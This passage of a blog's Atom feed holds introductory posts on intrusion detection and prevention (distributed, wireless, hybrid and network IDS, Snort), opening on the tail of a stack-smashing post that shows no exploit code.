x:%d\n",x);&lt;br /&gt;  return 0;&lt;br /&gt;}&lt;br /&gt; lets meet up in the next discussion on how this can be implemented as an attack in our day to day life....&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1361024724213312909-4356767583993895045?l=intrusionalert.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://intrusionalert.blogspot.com/feeds/4356767583993895045/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1361024724213312909&amp;postID=4356767583993895045&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1361024724213312909/posts/default/4356767583993895045'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1361024724213312909/posts/default/4356767583993895045'/><link rel='alternate' type='text/html' href='http://intrusionalert.blogspot.com/2011/02/smashing-stack.html' title='Smashing the stack'/><author><name>manoj sk</name><uri>http://www.blogger.com/profile/01064329419086831423</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='21' src='http://1.bp.blogspot.com/_OvHuF1DoCxI/Sgv0O4Ac2yI/AAAAAAAAAAM/HuO76fBQEYI/S220/images.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1361024724213312909.post-7475068462908181810</id><published>2010-03-14T00:15:00.000-08:00</published><updated>2010-03-14T00:18:47.068-08:00</updated><title type='text'>Distributed Intrusion Detection Systems...DIDS</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_OvHuF1DoCxI/S5ybt954ObI/AAAAAAAAACY/3svUolePpQw/s1600-h/dids.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 310px; height: 320px;" src="http://2.bp.blogspot.com/_OvHuF1DoCxI/S5ybt954ObI/AAAAAAAAACY/3svUolePpQw/s320/dids.gif" alt="" id="BLOGGER_PHOTO_ID_5448400863225199026" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="body"&gt;&lt;p class="text"&gt; A distributed IDS  consists of multiple Intrusion Detection Systems (IDS) over a large network, all of which communicate with each other, or with a central server that facilitates advanced network monitoring, incident analysis, and instant attack data. By having these co-operative agents distributed across a network, incident analysts, network operations, and security personnel are able to get a broader view of what is occurring on their network as a whole. &lt;/p&gt;  &lt;p class="text"&gt; A DIDS also allows a company to efficiently manage its incident analysis resources by centralizing its attack records and by giving the analyst a quick and easy way to spot new trends and patterns and to identify threats to the network across multiple network segments. This article will discuss distributed intrusion detection systems, including the general setup of a DIDS and a fictional case study to demonstrate the distributed analysis abilities. It will also try to give the reader some insight into the benefits of running a DIDS system, from both incident analyst and corporate views.&lt;br /&gt;&lt;/p&gt;&lt;p class="text"&gt;&lt;span class="body"&gt;&lt;p class="text"&gt; &lt;b&gt; Overview &lt;/b&gt; &lt;/p&gt;  &lt;p class="text"&gt; &lt;b&gt; The Central Analysis Server &lt;/b&gt; &lt;/p&gt;  &lt;p class="text"&gt; The central analysis server is really the heart and soul of the operation. This server would ideally consist of a database and Web server. This allows the interactive querying of attack data for analysis as well as a useful Web interface to allow the corporate guys upstairs to see the current attack status of your network. It also allows analysts to perform pre-programmed queries, such as attack aggregation, statistics gathering, to identify attack patterns and to perform rudimentary incident analysis, all from a Web interface. &lt;/p&gt;  &lt;p class="text"&gt; &lt;b&gt; The Co-operative Agent Network &lt;/b&gt; &lt;/p&gt;  &lt;p class="text"&gt;The co-operative agent network is one of the most important components of the dIDS. An agent is a piece of software that reports attack information to the central analysis server. The use of multiple agents across a network allows the incident analysis team a broader view of the network than can be achieved with single IDS systems. &lt;/p&gt;  &lt;p class="text"&gt;Ideally these agents will be located on separate network segments, and geographical locations (See diagram below.) The agents can also be distributed across multiple physical locations, allowing for a single incident analysis team to view attack data across multiple corporate locations.&lt;br /&gt;&lt;/p&gt;&lt;p class="text"&gt;&lt;span class="body"&gt;&lt;p class="text"&gt; Although any IDS could be used on the agent machines, it is highly suggested that &lt;a target="nonlocal" href="http://www.snort.org/"&gt;Snort&lt;/a&gt; be used. It has been demonstrated, however, that any attack logging system can be incorporated into this agent network. This can range from router attack logs, to ipfw, firewalls, and even Windows personal firewall systems. &lt;/p&gt;  &lt;p class="text"&gt; &lt;b&gt; Attack Aggregation &lt;/b&gt; &lt;/p&gt;  &lt;p class="text"&gt;Attack aggregation is another core part of the dIDS system. This part of the system is programming logic based on the central server. Aggregation simply refers to the method in which users group or order the information gathered from the agent network. One example of this would be to aggregate information according to attacker IP, putting all attacks from an attacking IP together with other attacks from the same IP. Another example is the aggregation of attack data according to destination (attacked) port, or even by date and time. Uses for aggregation will be explained later in this paper. &lt;/p&gt;  &lt;p class="title"&gt; &lt;b&gt; Advantages of a dIDS &lt;/b&gt; &lt;/p&gt;  &lt;p class="text"&gt; &lt;b&gt; Why a dIDS? &lt;/b&gt; &lt;/p&gt;  &lt;p class="text"&gt;Due to the greater view the agent allows the analyst to achieve, the dIDS offers the incident analyst many advantages over other single mode IDS systems. One of these advantages is the ability to detect attack patterns across an entire corporate network, with geographic locations separating segments by time zones or even continents. This could allow for the early detection of a well-planned and coordinated attack against the organization in question, which would allow the security people to ensure that targeted systems are secured and offending IPs are disallowed any access. Another proven advantage is to allow early detection of an Internet worm making its way through a corporate network. This information could then be used to identify and clean systems that have been infected by the worm, and prevent further spread of the worm into the network, therefore lowering any financial losses that would otherwise have been incurred. &lt;/p&gt;  &lt;p class="text"&gt;The second major advantage is that a single analysis team can now do what previously required several incident analysis teams due to physical distance. This obviates the need to pay for distinct incident analysis teams for each separate geographic location of the organization’s offices. Another issue that it addresses is attacks from within the corporations network by angry, upset, or bored employees. By tying the central analysis server in with the companies DHCP or RADIUS servers, the incident analysts can track down people launching attacks from within the company, and track what they have attempted to do, as well as provide evidence against the perpetrators. &lt;/p&gt;&lt;/span&gt;&lt;/p&gt;&lt;/span&gt;&lt;/p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1361024724213312909-7475068462908181810?l=intrusionalert.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://intrusionalert.blogspot.com/feeds/7475068462908181810/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1361024724213312909&amp;postID=7475068462908181810&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1361024724213312909/posts/default/7475068462908181810'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1361024724213312909/posts/default/7475068462908181810'/><link rel='alternate' type='text/html' href='http://intrusionalert.blogspot.com/2010/03/distributed-intrusion-detection.html' title='Distributed Intrusion Detection Systems...DIDS'/><author><name>manoj sk</name><uri>http://www.blogger.com/profile/01064329419086831423</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='21' src='http://1.bp.blogspot.com/_OvHuF1DoCxI/Sgv0O4Ac2yI/AAAAAAAAAAM/HuO76fBQEYI/S220/images.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_OvHuF1DoCxI/S5ybt954ObI/AAAAAAAAACY/3svUolePpQw/s72-c/dids.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1361024724213312909.post-415819595183476713</id><published>2009-06-17T10:52:00.000-07:00</published><updated>2009-06-17T11:26:16.078-07:00</updated><title type='text'>Wireless intrusion detection system</title><content type='html'>&lt;span class="body"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Introduction:&lt;/span&gt;&lt;br /&gt;   &lt;br /&gt; Threats to wireless local area networks (WLANs) are numerous and potentially devastating. Security issues ranging from misconfigured wireless access points (WAPs) to session hijacking to Denial of Service (DoS) can plague a WLAN. Wireless networks are not only susceptible to TCP/IP-based attacks native to wired networks, they are also subject to a wide array of 802.11-specific threats.&lt;/span&gt;&lt;span class="body"&gt;WLANs should employ a security solution that includes an intrusion detection system (IDS). Even organizations without a WLAN are at risk of wireless threats and should consider an IDS solution.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Wireless IDS:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="body"&gt;IDS have traditionally been developed to detect intrusions and misuse for wired systems and networks. More recently, IDS have been developed for use on wireless networks. These wireless IDS can monitor and analyze user and system activities, recognize patterns of known attacks, identify abnormal network activity, and detect policy violations for WLANs. Wireless IDS gather all local wireless transmissions and generate alerts based either on predefined signatures or on anomalies in the traffic. &lt;p class="text"&gt; A Wireless IDS is similar to a standard, wired IDS, but has additional deployment requirements as well as some unique features specific to WLAN intrusion and misuse detection. &lt;/p&gt;&lt;/span&gt;&lt;span class="body"&gt;Physical location detection is a critical aspect of a wireless IDS. 802.11 attacks are often carried out in close proximity to the WAP and can be performed in an extremely short timeframe. Therefore, the response to attacks needs to not only be logical, like standard IDSs (i.e. Block the offending IP address), the response also needs to incorporate the physical deployment of individuals to identify the attacker - and the response must be timely. Unlike wired attacks where the hacker is usually great physical distances from the victim network, wireless attackers are often physically located on the local premises. A wireless IDS can aid in detecting the attacker's location by providing at least a general estimate of their physical location. By correlating the captured 802.11 data with the sensor location as well as the location of the victim WAP, the physical location of the attacker can be more easily identified.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;How Hackers work:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="body"&gt;In an effort to identify potential WAP targets, hackers commonly use scanning software. Hackers or curious individuals will use tools such as Netstumbler or Kismet to map out a given area's WAPs. Used in conjunction with a Global Positioning System (GPS) these scans not only locate WAPs, but also log their geographical coordinates. These tools have become so popular that there are web sites dedicated to mapping the world's WAP geography. A wireless IDS can detect these and other scans, helping to improve awareness of the threats to the WLAN. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Draw Backs of wireless IDS:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="body"&gt;The benefits to a wireless IDS are numerous, but there are several drawbacks to consider before deploying such a system. Wireless intrusion detection is a rather new technology. Caution should be taken before applying any new technology to an operational network. Because the technology is new, there may be bugs, or worse vulnerabilities which could potentially weaken the WLAN security. Wireless IDS technology is developing at a rapid pace though, and this caveat may not be a deterrent in the future. A potential turn-off to a wireless IDS solution may be cost. &lt;p class="text"&gt;The expense of the vendor solutions may be prohibitive. In such a case, a homegrown solution can be developed, but this approach may prove costly as well due to the extensive human capital that may be required to develop such a solution. Also, the cost of the wireless IDS solution (vendor-based or homegrown) will grow in conjunction with the size of the WLAN to be monitored, due to the requirement for a greater number of sensors. Therefore, the larger the WLAN, the more expensive the wireless IDS deployment will be. &lt;/p&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1361024724213312909-415819595183476713?l=intrusionalert.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://intrusionalert.blogspot.com/feeds/415819595183476713/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1361024724213312909&amp;postID=415819595183476713&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1361024724213312909/posts/default/415819595183476713'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1361024724213312909/posts/default/415819595183476713'/><link rel='alternate' type='text/html' href='http://intrusionalert.blogspot.com/2009/06/wireless-intrusion-detection-system.html' title='Wireless intrusion detection system'/><author><name>manoj sk</name><uri>http://www.blogger.com/profile/01064329419086831423</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='21' src='http://1.bp.blogspot.com/_OvHuF1DoCxI/Sgv0O4Ac2yI/AAAAAAAAAAM/HuO76fBQEYI/S220/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1361024724213312909.post-9150580487390122883</id><published>2009-06-13T03:44:00.000-07:00</published><updated>2009-06-13T03:51:52.477-07:00</updated><title type='text'>Intrusion Prevention Systems</title><content type='html'>&lt;div class="mContent"&gt;             &lt;div name="intelliTxt" id="intelliTXT"&gt;       &lt;p&gt;&lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;Intrusion&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;prevention&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; is a way of protecting your computer &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;system&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; from unwanted entry.  Most computers have firewall programs installed to protect their systems from exploitation, but &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;intrusion&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;prevention&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; is a &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;system&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; added for extra security.  An &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;intrusion&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;prevention&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;system&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; provides added protection from either computer viruses or hackers trying to break into your network.&lt;/p&gt;  &lt;p&gt;&lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;Intrusion&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;prevention&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; systems are much more secure than common firewall technology.  Although considered to be an expansion of the original &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;intrusion&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; detection &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;system&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;, they are actually more a way of controlling who has access to a computer network. They not only control access, but also detect entry to the network, so the two systems are closely linked.&lt;/p&gt;  &lt;p&gt;The &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;intrusion&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;prevention&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;system&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; controls access to a network based on the content of the application trying to make contact. Prior to this, the detection from firewalls was based on ports or IP addresses.  A good &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;intrusion&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;prevention&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;system&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; not only detects &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;intrusion&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;, but also controls access to a network.  This latter feature is the &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;system&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;'s main improvement over detection only firewalls.&lt;/p&gt;  &lt;p&gt;There are different &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;types&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; of &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;intrusion&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;prevention&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; available for added security.&lt;/p&gt;&lt;p&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;  Network &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);" class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;intrusion&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);" class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;prevention&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; systems&lt;/span&gt; are usually hardware devices that are situated in the network.  Unlike host based &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;intrusion&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; systems that have to be applied to every computer in the network, the network &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;system&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; requires fewer devices to be installed.&lt;/p&gt;  &lt;p&gt;The network &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;intrusion&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;prevention&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;system&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; can be content based or rate based.  A content based &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;system&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; will inspect and disallow any entry from content that is not known.  The content may be not be recognized by the &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;prevention&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;system&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;, or it may have been previously recorded as a threat to the &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;system&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;.&lt;/p&gt;  &lt;p&gt;Rate based network &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;intrusion&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;prevention&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; is based on the intent of the attack rather than the content.  The rate-based &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;system&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; can identify threats that are different from the traffic the network usually receives.  The rate-based &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;system&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; learns the type and behavior of normal network traffic and sets parameters accordingly. Anything that falls outside of these parameters will be prevented access to the network.&lt;/p&gt;  &lt;p&gt;There are also &lt;span style="color: rgb(255, 0, 0);"&gt;host based &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);" class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;intrusion&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);" class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;prevention&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; systems&lt;/span&gt;. These are software only applications that are very good at detecting unwanted entry after decryption has occurred. Over time, the host-based &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;system&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; builds up a monitoring &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;system&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; for access to the computer’s network.  The only problem with host based &lt;span class="yellowFade"&gt;&lt;span&gt;&lt;span style="position: relative;" class="yellowFadeInnerSpan"&gt;prevention&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; is that it must be installed on every computer in the network. It also cannot cope with larger rate based access attacks, as it does not have the capabilities to deal with these levels of detection and denial of entry.&lt;/p&gt;      &lt;/div&gt;     &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1361024724213312909-9150580487390122883?l=intrusionalert.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://intrusionalert.blogspot.com/feeds/9150580487390122883/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1361024724213312909&amp;postID=9150580487390122883&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1361024724213312909/posts/default/9150580487390122883'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1361024724213312909/posts/default/9150580487390122883'/><link rel='alternate' type='text/html' href='http://intrusionalert.blogspot.com/2009/06/intrusion-prevention-systems.html' title='Intrusion Prevention Systems'/><author><name>manoj sk</name><uri>http://www.blogger.com/profile/01064329419086831423</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='21' src='http://1.bp.blogspot.com/_OvHuF1DoCxI/Sgv0O4Ac2yI/AAAAAAAAAAM/HuO76fBQEYI/S220/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1361024724213312909.post-5667237605840424178</id><published>2009-06-01T00:37:00.000-07:00</published><updated>2009-06-01T00:41:09.171-07:00</updated><title type='text'>Hybrid Intrusion Detection System</title><content type='html'>&lt;span style="color: rgb(255, 0, 0);" class="body"&gt;HIDS and NIDS Used in Combination:&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="body"&gt;&lt;p class="text"&gt; The two types of intrusion detection systems differ significantly from each other, but complement one another well. The network architecture of host-based is agent-based, which means that a software agent resides on each of the hosts that will be governed by the system. In addition, more efficient host-based intrusion detection systems are capable of monitoring and collecting system audit trails in real time as well as on a scheduled basis, thus distributing both CPU utilization and network overhead and providing for a flexible means of security administration. &lt;/p&gt; &lt;p class="text"&gt;In a proper IDS implementation, it would be advantageous to fully integrate the network intrusion detection system, such that it would filter alerts and notifications in an identical manner to the host-based portion of the system, controlled from the same central location. In doing so, this provides a convenient means of managing and reacting to misuse using both types of intrusion detection. &lt;/p&gt; &lt;p class="text"&gt; That said, as an organization introduces an IDS into its network to augment its current information security strategy, the primary focus of the intrusion detection system should be host-based. Although network intrusion detection has its merits and certainly must be incorporated into a proper IDS solution, it has historically been incapable of evolving to comply with the growing technology of data communications. Most NIDS perform miserably, if at all, on switched networks, fast networks of speeds over 100 Mbps, and encrypted networks. Furthermore, somewhere in the range of 80-85 percent of security incidents originate from within an organization. Consequently, intrusion detection systems should rely predominantly on host-based components, but should always make use of NIDS to complete the defense. In short, a truly secure environment requires both a network and host-based intrusion detection implementation to provide for a robust system that is the basis for all of the monitoring, response, and detection of computer misuse. &lt;/p&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1361024724213312909-5667237605840424178?l=intrusionalert.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://intrusionalert.blogspot.com/feeds/5667237605840424178/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1361024724213312909&amp;postID=5667237605840424178&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1361024724213312909/posts/default/5667237605840424178'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1361024724213312909/posts/default/5667237605840424178'/><link rel='alternate' type='text/html' href='http://intrusionalert.blogspot.com/2009/06/hybrid-intrusion-detection-system.html' title='Hybrid Intrusion Detection System'/><author><name>manoj sk</name><uri>http://www.blogger.com/profile/01064329419086831423</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='21' src='http://1.bp.blogspot.com/_OvHuF1DoCxI/Sgv0O4Ac2yI/AAAAAAAAAAM/HuO76fBQEYI/S220/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1361024724213312909.post-3100788210418678891</id><published>2009-06-01T00:01:00.000-07:00</published><updated>2009-06-01T00:36:41.553-07:00</updated><title type='text'>NIDS</title><content type='html'>&lt;span style="color: rgb(255, 0, 0);"&gt;Network based intrusion detection system:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Network-based intrusion detection systems operate differently from host-based IDS.This&lt;span class="body"&gt; analyzes data packets that travel over the actual network. &lt;/span&gt;Based on these suspicious packets, a NIDS can scan its own database of known network attack signatures and assign a severity level for each packet. If severity levels are high enough, a warning email  placed to security team members so they can further investigate the nature of the anomaly.&lt;br /&gt;&lt;p class="text"&gt;In general, network-based systems are best at detecting the following activities:  &lt;/p&gt; &lt;ul&gt;&lt;li&gt; &lt;span class="text"&gt; Unauthorized outsider access: When an unauthorized user logs in successfully, or attempts to log in, they are best tracked with host-based IDS. However, detecting the unauthorized user before their log on attempt is best accomplished with network-based IDS. &lt;/span&gt; &lt;/li&gt;&lt;li&gt; &lt;span class="text"&gt; Bandwidth theft/denial of service: These attacks from outside the network single out network resources for abuse or overload. The packets that initiate/carry these attacks can best be noticed with use of network-based IDS. &lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span class="body"&gt;Some possible downsides to NIDS  include encrypted packet payloads and high-speed networks, both of which inhibit the effectiveness of packet interception and deter packet interpretation. Examples of network-based IDS include Shadow, Snort!, Dragon, NFR, RealSecure, and NetProwler. &lt;/span&gt;&lt;br /&gt;&lt;p&gt; Snort is an IDS designed to be comprehensive and accurate in successfully logging malicious network activity and notifying administrators when potential breaches occur. Snort uses the standard &lt;tt class="filename"&gt;libcap&lt;/tt&gt; library and &lt;tt class="command"&gt;tcpdump&lt;/tt&gt; as a packet logging backend.    &lt;/p&gt;        The most prized feature of Snort, in addition to its functionality, is its flexible attack signature subsystem. Snort has a constantly updated database of attacks that can be added to and updated via the Internet.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1361024724213312909-3100788210418678891?l=intrusionalert.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://intrusionalert.blogspot.com/feeds/3100788210418678891/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1361024724213312909&amp;postID=3100788210418678891&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1361024724213312909/posts/default/3100788210418678891'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1361024724213312909/posts/default/3100788210418678891'/><link rel='alternate' type='text/html' href='http://intrusionalert.blogspot.com/2009/06/nids.html' title='NIDS'/><author><name>manoj 